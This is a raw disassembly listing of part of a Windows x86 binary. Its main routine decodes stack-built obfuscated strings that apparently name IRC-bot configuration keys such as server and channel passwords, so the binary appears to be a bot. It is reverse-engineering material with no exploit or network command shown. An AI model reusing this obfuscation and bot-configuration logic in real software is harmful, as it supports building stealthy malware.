lea ecx, [esp+360h+var_18C]
call sub_401A87
push offset aHotfix ; "hotfix"
lea ecx, [esp+360h+var_144]
call sub_401A87
push offset dword_4437F8
lea ecx, [esp+360h+var_CC]
call sub_401A87
push 0
push 4Bh
push 48h
push 4Ah
push 47h
push 4Ch
push 48h
push 4Bh
push 48h
push 45h
lea eax, [esp+384h+var_348]
push 46h
push eax
call sub_4019B5
add esp, 30h
push eax
lea ecx, [esp+360h+var_1BC]
mov byte ptr [esp+360h+var_4], 1Fh
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 0Dh
push 4Fh
push 18h
push 9
push 6
push 14h
push 0Fh
lea ecx, [esp+39Ch+var_348]
push 8
push ecx
call sub_4019B5
add esp, 48h
push eax
lea ecx, [esp+360h+var_21C]
mov byte ptr [esp+360h+var_4], 20h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_B4]
mov byte ptr [esp+360h+var_4], 21h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea eax, [esp+36Ch+var_348]
push 45h
push eax
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_E4]
mov byte ptr [esp+360h+var_4], 22h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 44h
push 49h
lea ecx, [esp+368h+var_348]
push 46h
push ecx
call sub_4019B5
add esp, 14h
push eax
lea ecx, [esp+360h+var_24C]
mov byte ptr [esp+360h+var_4], 23h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_9C]
mov byte ptr [esp+360h+var_4], 24h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 15h
push 12h
lea eax, [esp+36Ch+var_348]
push 14h
push eax
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_330]
mov byte ptr [esp+360h+var_4], 25h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 13h
push 0Ch
push 1
lea ecx, [esp+370h+var_348]
push 6
push ecx
call sub_4019B5
add esp, 1Ch
push eax
lea ecx, [esp+360h+var_318]
mov byte ptr [esp+360h+var_4], 26h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2C4]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_34C], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3D0h+var_348]
push 13h
push edx
mov byte ptr [esp+3D8h+var_4], 27h
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 28h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_350], esp
push eax
call sub_401861
lea eax, [esi+0FECh]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 29h
call sub_401CC1
sub_407790 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+80h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Eh
push 1
mov byte ptr [esp+37Ch], 2Ah
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 2Bh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+1035h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 2Ch
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1B8h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+78h]
push 13h
push eax
mov byte ptr [esp+3C4h], 2Dh
call sub_4019B5
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 2Eh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea ecx, [esi+0FA3h]
mov byte ptr [esp+388h], 2Fh
push ecx
mov ecx, esi
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1E8h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+80h]
push 13h
push edx
mov byte ptr [esp+3CCh], 30h
call sub_4019B5
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 31h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+0F5Ah]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 32h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+68h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 18h
push 9
push 6
push 5
push 12h
mov byte ptr [esp+388h], 33h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+90h]
push 13h
push ecx
call sub_4019B5
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 34h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edi, [esi+0E7Fh]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 35h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0B0h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 36h
call sub_4019B5
add esp, 64h
mov byte ptr [esp+370h], 37h
mov ecx, eax
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+0F11h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 38h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+84h]
push 13h
push ecx
mov byte ptr [esp+3D0h], 39h
call sub_4019B5
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 3Ah
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+107Eh]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Bh
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea eax, [esp+10h]
mov ecx, offset byte_4D638F
push eax
mov [esp+14h], edi
call sub_401A5F
lea ecx, [esp+98h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 3Ch
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 3Dh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+1234h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Eh
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+80h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
mov byte ptr [esp+3CCh], 3Fh
push 13h
lea eax, [esp+8Ch]
push eax
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 40h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea ecx, [esi+127Dh]
mov byte ptr [esp+388h], 41h
push ecx
mov ecx, esi
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+158h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+78h]
push 13h
push edx
mov byte ptr [esp+3C4h], 42h
call sub_4019B5
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 43h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+11EBh]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 44h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+188h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+80h]
push 13h
push ecx
mov byte ptr [esp+3CCh], 45h
call sub_4019B5
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 46h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+11A2h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 47h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+68h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
mov byte ptr [esp+3D4h], 48h
push 13h
lea eax, [esp+94h]
push eax
call sub_4019B5
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 49h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edi, [esi+10C7h]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 4Ah
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+170h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 4Bh
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 4Ch
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+1159h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 4Dh
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+84h]
push 13h
push eax
mov byte ptr [esp+3D0h], 4Eh
call sub_4019B5
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 4Fh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea ecx, [esi+12C6h]
mov byte ptr [esp+388h], 50h
push ecx
mov ecx, esi
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea edx, [esp+10h]
mov ecx, offset byte_4D638F
push edx
mov [esp+14h], edi
call sub_401A5F
push offset byte_446F70
push offset word_4E6E9A
call sub_40102D
add esp, 8
lea ecx, [esp+230h]
call sub_401424
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 51h
call sub_401424
push 56D2h
push 539h
mov byte ptr [esp+360h], 52h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
push eax
lea eax, [esp+234h]
push offset dword_4437F4
push eax
call sub_40102D
push 56D2h
push 539h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 14h
push eax
push offset dword_4437F4
lea ecx, [esp+268h]
push ecx
call sub_40102D
sub esp, 0Ch
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+606h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+64Fh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+805h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+84Eh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+897h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+450h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+499h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+52Bh]
push eax
mov ecx, esi
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+574h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+0B28h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+8E0h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+278h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+3BEh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1B8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+407h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+230h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+5BDh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+158h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+698h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+128h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+72Ah]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+0F8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+6E1h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+290h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+773h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2C0h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+7BCh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push offset word_4E6E9A
call sub_4014C9
lea ecx, [esi+251h]
push ecx
mov ecx, esi
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+140h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+29Ah]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+110h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+2E3h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2A8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+32Ch]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+248h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+375h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 16Dh
call sub_4017E4
push eax
push offset byte_44742D
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 1B6h
call sub_4017E4
push eax
push offset dword_4473E4
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
call sub_4017E4
push eax
push offset dword_4472C0
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 124h
call sub_4017E4
push eax
push offset word_447352
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 0DBh
call sub_4017E4
push eax
push offset byte_447309
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 92h
call sub_4017E4
push eax
push offset byte_44739B
mov ecx, offset word_448D16
call sub_401596
push 0
mov ecx, offset byte_4D638F
call sub_40146A
mov ecx, [eax]
add ecx, 1FFh
call sub_4017E4
push eax
push offset byte_4474BF
mov ecx, offset word_448D16
call sub_401596
lea ecx, [esp+1D0h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
lea ecx, [esp+260h]
mov byte ptr [esp+370h], 53h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+8Ch], esp
push eax
call sub_401861
lea ecx, [esp+230h]
mov byte ptr [esp+388h], 54h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+0A8h], esp
push eax
call sub_401861
lea ecx, [esp+110h]
mov byte ptr [esp+3A0h], 55h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+0C4h], esp
push eax
call sub_401861
mov ecx, offset word_448C9E
mov byte ptr [esp+3B8h], 52h
call sub_40137F
; ---------------------------------------------------------------------------
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 51h
call sub_401226
lea ecx, [esp+230h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
mov byte ptr [esp+358h], 1Dh
call sub_401226
lea ecx, [esp+2Ch]
mov byte ptr [esp+358h], 1Ch
call sub_401226
lea ecx, [esp+0E0h]
mov byte ptr [esp+358h], 1Bh
call sub_401226
lea ecx, [esp+2C0h]
mov byte ptr [esp+358h], 1Ah
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+358h], 19h
call sub_401226
lea ecx, [esp+110h]
mov byte ptr [esp+358h], 18h
call sub_401226
lea ecx, [esp+2A8h]
mov byte ptr [esp+358h], 17h
call sub_401226
lea ecx, [esp+140h]
mov byte ptr [esp+358h], 16h
call sub_401226
lea ecx, [esp+290h]
mov byte ptr [esp+358h], 15h
call sub_401226
lea ecx, [esp+170h]
mov byte ptr [esp+358h], 14h
call sub_401226
lea ecx, [esp+0B0h]
mov byte ptr [esp+358h], 13h
call sub_401226
lea ecx, [esp+1A0h]
mov byte ptr [esp+358h], 12h
call sub_401226
lea ecx, [esp+218h]
mov byte ptr [esp+358h], 11h
call sub_401226
lea ecx, [esp+1D0h]
mov byte ptr [esp+358h], 10h
call sub_401226
lea ecx, [esp+248h]
mov byte ptr [esp+358h], 0Fh
call sub_401226
lea ecx, [esp+200h]
mov byte ptr [esp+358h], 0Eh
call sub_401226
lea ecx, [esp+0C8h]
mov byte ptr [esp+358h], 0Dh
call sub_401226
lea ecx, [esp+2F0h]
mov byte ptr [esp+358h], 0Ch
call sub_401226
lea ecx, [esp+320h]
mov byte ptr [esp+358h], 0Bh
call sub_401226
lea ecx, [esp+2D8h]
mov byte ptr [esp+358h], 0Ah
call sub_401226
lea ecx, [esp+308h]
mov byte ptr [esp+358h], 9
call sub_401226
lea ecx, [esp+338h]
mov byte ptr [esp+358h], 8
call sub_401226
lea ecx, [esp+68h]
mov byte ptr [esp+358h], 7
call sub_401226
lea ecx, [esp+0F8h]
mov byte ptr [esp+358h], 6
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+358h], 5
call sub_401226
lea ecx, [esp+98h]
mov byte ptr [esp+358h], 4
call sub_401226
lea ecx, [esp+80h]
mov byte ptr [esp+358h], 3
call sub_401226
lea ecx, [esp+158h]
mov byte ptr [esp+358h], 2
call sub_401226
lea ecx, [esp+188h]
mov byte ptr [esp+358h], 1
call sub_401226
lea ecx, [esp+1B8h]
mov byte ptr [esp+358h], 0
call sub_401226
lea ecx, [esp+1E8h]
mov dword ptr [esp+358h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+350h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
add esp, 350h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 5C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409450 proc near ; CODE XREF: sub_40146Aj
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_401974
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_409468
mov ecx, esi
call sub_40190B
; ---------------------------------------------------------------------------
loc_409468: ; CODE XREF: sub_409450+Fj
mov ecx, esi
call sub_401A37
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_409450 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409490 proc near ; CODE XREF: sub_401A5Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40128A
push eax
mov ecx, esi
call sub_40168B
pop esi
retn 4
sub_409490 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4094C0 proc near ; CODE XREF: sub_401A37j
mov eax, [ecx+4]
retn
sub_4094C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4094E0 proc near ; CODE XREF: sub_40128Aj
mov eax, [ecx+8]
retn
sub_4094E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409500 proc near ; CODE XREF: sub_401974j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40950A
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40950A: ; CODE XREF: sub_409500+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_409500 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409530 proc near ; CODE XREF: sub_40168Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401A37
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_401B9A
mov ecx, edi
call sub_401A37
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_409530 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409580 proc near ; CODE XREF: sub_40190Bj
var_40 = byte ptr -40h
var_39 = byte ptr -39h
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_C = dword ptr -0Ch
push 0FFFFFFFFh
push offset SEH_409580
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3Ch+var_39]
lea ecx, [esp+3Ch+var_38]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+44h+var_40]
mov [esp+44h+var_C], 0
push ecx
lea ecx, [esp+48h+var_30]
nop
call near ptr 760A0430h
lea edx, [esp+48h+var_34]
push offset dword_43F080
push edx
call sub_436832
sub_409580 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409600 proc near ; CODE XREF: sub_401B9Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_4096CB
mov ecx, esi
call sub_401974
cmp edi, eax
jnb short loc_409633
mov ecx, esi
call sub_401974
mov ebp, eax
jmp short loc_409635
; ---------------------------------------------------------------------------
loc_409633: ; CODE XREF: sub_409600+26j
mov ebp, edi
